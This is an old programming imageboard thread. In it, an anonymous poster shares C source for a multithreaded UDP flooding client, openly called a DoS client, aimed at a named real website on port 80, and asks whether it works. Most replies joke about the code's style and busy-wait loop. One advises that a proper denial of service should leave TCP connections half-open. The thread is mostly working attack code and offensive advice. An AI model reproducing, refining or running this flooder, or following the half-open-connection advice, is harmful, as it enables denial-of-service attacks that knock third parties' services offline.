/prog/ - Does this work as a DoS client?

Name: Anonymous 2010-09-09 0:42

Hey /prog/, I'm fairly new to network programming, so I was wondering if this block of code did its job as a UDP spammer/DoS client. HOST_NAME is by default set to "anontalk.se", and PORT is set to "80".
You may guess from this but I am also fairly new at threaded programming.



memset (&hints, 0, sizeof hints);

  hints.ai_family = AF_UNSPEC;

  hints.ai_socktype = SOCK_DGRAM;



  if ((status = getaddrinfo (HOST_NAME, PORT, &hints, &server_info))

      != 0)

    {

      MESGS[thread_id] = "Error obtaining address information.";

      return NULL;

    }



  MESGS[thread_id] = "Obtained address information.";



  for (scroller = server_info; scroller != NULL; scroller = scroller->ai_next)

    {

      if ((sockfd = socket (scroller->ai_family, scroller->ai_socktype,

                scroller->ai_protocol)) == -1)

    {

      MESGS[thread_id] = "Error creating a socket.";

      continue;

    }



      break;

    }



  if (scroller == NULL)

    {

      MESGS[thread_id] = "Failed to bind socket.";

      return NULL;

    }



  do

    {

      MESGS[thread_id] = "Running...";



      if ((msg_size = sendto (sockfd, UDP_STR, strlen (UDP_STR), 0,

                  scroller->ai_addr, scroller->ai_addrlen)) == -1)

    {

      MESGS[thread_id] = "Error sending message.";

      return NULL;

    }



      if (MAIN_SIG == PAUSE)

    {

      MESGS[thread_id] = "Suspending...";

      while (MAIN_SIG == PAUSE);

    }

      

      for (start = update = time (NULL); update - start < wtime; update = time (NULL))

    ;

    }

  while (MAIN_SIG != DONE && MAIN_SIG != RESTART);



  close (sockfd);

DoS client
I chuckled a little at the thought of the accompanying DoS server.

Your indentation is terrible!!, also your client should be coded with Windows Sockets in mind, as that's the platform you should be targeting.

Preposterous! Nobody who is smart/determined enough to use emacs would make a non-saged post!

This isn't a ``proper'' DoS, you need to initiate TCP connections and get them to hang, half-open.

Unless that's what you've somehow put into UDP_STR, in which case, why didn't you say so?.

Also:
while (MAIN_SIG == PAUSE);

Thanks, but no, UDP_STR is the message that is sent to the server.

Yah, I'm pretty embarrassed by that code. I was really tired.
